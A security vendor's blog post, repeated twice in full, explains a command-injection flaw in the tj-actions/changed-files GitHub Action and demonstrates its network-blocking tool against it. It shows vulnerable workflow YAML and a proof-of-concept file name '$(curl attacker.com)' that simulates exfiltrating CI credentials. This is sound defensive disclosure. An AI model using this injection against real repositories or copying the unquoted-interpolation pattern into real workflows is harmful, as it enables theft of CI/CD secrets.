Harden-Runner Defends Against Arbitrary Command Execution in tj-actions/changed-files GitHub Action
Learn about the critical vulnerability in tj-actions/changed-files GitHub Action and how StepSecurity's solution fortifies your CI/CD pipelines against potential exploits.
A security researcher recently reported an arbitrary command execution vulnerability in the popular tj-actions/changed-files GitHub Action. This Action tracks all changed files and directories relative to a target branch or custom commits and returns relative paths from the project root using this GitHub action. It is currently used by more than 12,700 public repositories and several enterprise customers.
By exploiting this vulnerability, an adversary can steal CI/CD credentials, compromise proprietary source code, and maliciously tamper release builds to inject backdoors. Given its widespread adoption, the vulnerability put many organizations at risk, especially those using the Action in deployment workflows with admin cloud credentials to generate production builds. Additionally, as the Action is commonly used with the pull_request event, adversaries could compromise open-source repositories by simply opening a malicious pull request.
StepSecurity Harden-Runner is a purpose-built network filtering and runtime security monitoring platform for CI/CD. In this blog post, we’ll discover how exactly the vulnerability works and how StepSecurity protects GitHub Action workflows from such vulnerabilities.
Understanding the vulnerability GHSL-2023-271_changed-files
At the heart of GHSL-2023-271 lies a critical oversight in the handling of special characters within file names. While the Action handled double quotes within file names correctly, it didn't properly handle other special characters like semicolons and backticks. As a result, malicious actors could exploit this vulnerability to inject arbitrary commands and compromise GitHub Action workflows. You can find a detailed explanation of the vulnerability in the GitHub Security Lab advisory GHSL-2023-271_changed-files.
The Solution: StepSecurity GitHub Actions Security Platform
StepSecurity Harden-Runner is a purpose-built network filtering and runtime security monitoring platform for CI/CD environments. Harden-Runner stands as a guardian against vulnerabilities like GHSL-2023-271. We recently published a case study on how Bazel defended itself against a CI/CD Supply Chain Vulnerability with Harden-Runner. In this blog post, we will explain how our enterprise and open-source customers are protected against unpatched GHSL-2023-271_changed-files vulnerability.
Here's a testimonial from one of our enterprise customers highlighting how StepSecurity protects their repositories from GHSL-2023-271:
“We got this in pretty much all our repositories recently- https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/. Its used a lot everywhere. Instantly knew StepSecurity was protecting me”
-Cam Parry, Staff Site Reliability Engineer, Kapiche
GHSL-2023-271_changed-files Proof of Concept
To better understand the vulnerability and how StepSecurity Harden-Runner mitigates it, let's create a proof-of-concept workflow and run the PoC with Harden-Runner and without Harden-Runner to see the difference.
Vulnerable Workflow
Typically, the tj-actions/changed-files step is used to generate the list of changed files, and another step in the job iterates over the list to perform certain activities. For example, this approach could be used to selectively run test cases based on changed files in the pull request instead of running the entire test suite. Another popular use case is to use tj-actions/changed-files Action in deployment workflows to detect if a new deployment is required once a code change is merged. For example, when changes related to unit testing are merged in the main branch, a production deployment need not be triggered.
The GitHub Actions workflow below shows the typical use case for tj-actions/changed-files where the Action is used to discover all the changed files in a pull request. It’s using the vulnerable version of the Action.
on:
pull_request:
branches:
- main
permissions:
pull-requests: read
jobs:
changed_files:
runs-on: ubuntu-latest
name: Test changed-files
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
- name: List all changed files
run: |
for file in ${{ steps.changed-files.outputs.all_changed_files }}; doecho "$file was changed"done
Let’s see what happens when an adversary tries to create a malicious pull request with and without harden-runner. For this exercise, we will use GitHub Actions Goat.
# Vulnerability details at https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/
name: "Changed-FilesVulnerability:WithoutHarden-Runner"
on:
pull_request:
branches:
- main
permissions:
pull-requests: read
jobs:
changed_files:
runs-on: ubuntu-latest
name: Test changed-files
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
- name: List all changed files
run: |
for file in ${{ steps.changed-files.outputs.all_changed_files }}; doecho "$file was changed"done
Let's create a malicious pull request and see what happens when the workflow is executed without Harden-Runner protection. To exploit this vulnerability, we will create a commit with a file name that includes a command injection exploit. Let’s simulate the credential exfiltration scenario where the adversary steals all CI/CD credentials and exfiltrate it to a malicious endpoint. After creating this commit, we will create a pull request to run the vulnerable workflow.
To demonstrate this malicious scenario, we have created the following pull request:
This malicious commit creates a file named $(curl attacker.com). When this file name is referenced in List all changed files step, itexecutes “curl attacker.com” to simulate CI/CD credential exfiltration to an attacker-controlled remote endpoint.
Let’s see what happened when the pull request was created. Under the list of checks for the pull request, we see that the workflow without Harden-Runner was executed successfully.
If we click on Details link and look at the GitHub Action logs for List all changed files step, we see that the vulnerability was successfully exploited as the exploit made an outbound call to attacker.com
With Harden-Runner
Now let’s see what happens when the same workflow is executed with Harden-Runner enabled. This workflow is hosted here.
# Vulnerability details at https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/
name: "Changed-FilesVulnerability:WithHarden-Runner"
on:
pull_request:
branches:
- main
permissions:
pull-requests: read
jobs:
changed_files:
runs-on: ubuntu-latest
name: Test changed-files
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
with:
disable-sudo: true
egress-policy: block
allowed-endpoints: >
github.com:443
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
- name: List all changed files
run: |
for file in ${{ steps.changed-files.outputs.all_changed_files }}; doecho "$file was changed"done
When the above malicious pull request was created, the vulnerable workflow with Harden-Runner was executed as well. Let’s see how Harden-Runner prevented exploitation of this vulnerability.
If we look at the GitHub Action logs for List all changed files step, we see that Harden-Runner blocked the malicious outbound connection.
The Harden-Runner insights for this page also shows that the outbound connection was blocked.
StepSecurity enterprise customers also receive a detection notification to alert the Security Operations Center (SOC) team when a security event is detected by the platform.
Conclusion
StepSecurity platform has preventative, detective and responsive security controls for GitHub Actions. From helping you choose secure third-party GitHub Actions, fixing common security misconfigurations in Action workflow files, and providing network egress filtering and runtime security, StepSecurity platform helps enterprise and open-source organizations secure their GitHub Action environments.
If you are an open-source maintainer, you can use our community tier for free in your projects by visiting https://app.stepsecurity.io/securerepo. If you are an enterprise user, you can start a free trial by installing our GitHub App below.
Introduction
A security researcher recently reported an arbitrary command execution vulnerability in the popular tj-actions/changed-files GitHub Action. This Action tracks all changed files and directories relative to a target branch or custom commits and returns relative paths from the project root using this GitHub action. It is currently used by more than 12,700 public repositories and several enterprise customers.
By exploiting this vulnerability, an adversary can steal CI/CD credentials, compromise proprietary source code, and maliciously tamper release builds to inject backdoors. Given its widespread adoption, the vulnerability put many organizations at risk, especially those using the Action in deployment workflows with admin cloud credentials to generate production builds. Additionally, as the Action is commonly used with the pull_request event, adversaries could compromise open-source repositories by simply opening a malicious pull request.
StepSecurity Harden-Runner is a purpose-built network filtering and runtime security monitoring platform for CI/CD. In this blog post, we’ll discover how exactly the vulnerability works and how StepSecurity protects GitHub Action workflows from such vulnerabilities.
Understanding the vulnerability GHSL-2023-271_changed-files
At the heart of GHSL-2023-271 lies a critical oversight in the handling of special characters within file names. While the Action handled double quotes within file names correctly, it didn't properly handle other special characters like semicolons and backticks. As a result, malicious actors could exploit this vulnerability to inject arbitrary commands and compromise GitHub Action workflows. You can find a detailed explanation of the vulnerability in the GitHub Security Lab advisory GHSL-2023-271_changed-files.
The Solution: StepSecurity GitHub Actions Security Platform
StepSecurity Harden-Runner is a purpose-built network filtering and runtime security monitoring platform for CI/CD environments. Harden-Runner stands as a guardian against vulnerabilities like GHSL-2023-271. We recently published a case study on how Bazel defended itself against a CI/CD Supply Chain Vulnerability with Harden-Runner. In this blog post, we will explain how our enterprise and open-source customers are protected against unpatched GHSL-2023-271_changed-files vulnerability.
Here's a testimonial from one of our enterprise customers highlighting how StepSecurity protects their repositories from GHSL-2023-271:
“We got this in pretty much all our repositories recently- https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/. Its used a lot everywhere. Instantly knew StepSecurity was protecting me”
-Cam Parry, Staff Site Reliability Engineer, Kapiche
GHSL-2023-271_changed-files Proof of Concept
To better understand the vulnerability and how StepSecurity Harden-Runner mitigates it, let's create a proof-of-concept workflow and run the PoC with Harden-Runner and without Harden-Runner to see the difference.
Vulnerable Workflow
Typically, the tj-actions/changed-files step is used to generate the list of changed files, and another step in the job iterates over the list to perform certain activities. For example, this approach could be used to selectively run test cases based on changed files in the pull request instead of running the entire test suite. Another popular use case is to use tj-actions/changed-files Action in deployment workflows to detect if a new deployment is required once a code change is merged. For example, when changes related to unit testing are merged in the main branch, a production deployment need not be triggered.
The GitHub Actions workflow below shows the typical use case for tj-actions/changed-files where the Action is used to discover all the changed files in a pull request. It’s using the vulnerable version of the Action.
on:
pull_request:
branches:
- main
permissions:
pull-requests: read
jobs:
changed_files:
runs-on: ubuntu-latest
name: Test changed-files
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
- name: List all changed files
run: |
for file in ${{ steps.changed-files.outputs.all_changed_files }}; doecho "$file was changed"done
Let’s see what happens when an adversary tries to create a malicious pull request with and without harden-runner. For this exercise, we will use GitHub Actions Goat.
# Vulnerability details at https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/
name: "Changed-FilesVulnerability:WithoutHarden-Runner"
on:
pull_request:
branches:
- main
permissions:
pull-requests: read
jobs:
changed_files:
runs-on: ubuntu-latest
name: Test changed-files
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
- name: List all changed files
run: |
for file in ${{ steps.changed-files.outputs.all_changed_files }}; doecho "$file was changed"done
Let's create a malicious pull request and see what happens when the workflow is executed without Harden-Runner protection. To exploit this vulnerability, we will create a commit with a file name that includes a command injection exploit. Let’s simulate the credential exfiltration scenario where the adversary steals all CI/CD credentials and exfiltrate it to a malicious endpoint. After creating this commit, we will create a pull request to run the vulnerable workflow.
To demonstrate this malicious scenario, we have created the following pull request:
This malicious commit creates a file named $(curl attacker.com). When this file name is referenced in List all changed files step, itexecutes “curl attacker.com” to simulate CI/CD credential exfiltration to an attacker-controlled remote endpoint.
Let’s see what happened when the pull request was created. Under the list of checks for the pull request, we see that the workflow without Harden-Runner was executed successfully.
If we click on Details link and look at the GitHub Action logs for List all changed files step, we see that the vulnerability was successfully exploited as the exploit made an outbound call to attacker.com
With Harden-Runner
Now let’s see what happens when the same workflow is executed with Harden-Runner enabled. This workflow is hosted here.
# Vulnerability details at https://securitylab.github.com/advisories/GHSL-2023-271_changed-files/
name: "Changed-FilesVulnerability:WithHarden-Runner"
on:
pull_request:
branches:
- main
permissions:
pull-requests: read
jobs:
changed_files:
runs-on: ubuntu-latest
name: Test changed-files
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
with:
disable-sudo: true
egress-policy: block
allowed-endpoints: >
github.com:443
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
- name: List all changed files
run: |
for file in ${{ steps.changed-files.outputs.all_changed_files }}; doecho "$file was changed"done
When the above malicious pull request was created, the vulnerable workflow with Harden-Runner was executed as well. Let’s see how Harden-Runner prevented exploitation of this vulnerability.
If we look at the GitHub Action logs for List all changed files step, we see that Harden-Runner blocked the malicious outbound connection.
The Harden-Runner insights for this page also shows that the outbound connection was blocked.
StepSecurity enterprise customers also receive a detection notification to alert the Security Operations Center (SOC) team when a security event is detected by the platform.
Conclusion
StepSecurity platform has preventative, detective and responsive security controls for GitHub Actions. From helping you choose secure third-party GitHub Actions, fixing common security misconfigurations in Action workflow files, and providing network egress filtering and runtime security, StepSecurity platform helps enterprise and open-source organizations secure their GitHub Action environments.
If you are an open-source maintainer, you can use our community tier for free in your projects by visiting https://app.stepsecurity.io/securerepo. If you are an enterprise user, you can start a free trial by installing our GitHub App below.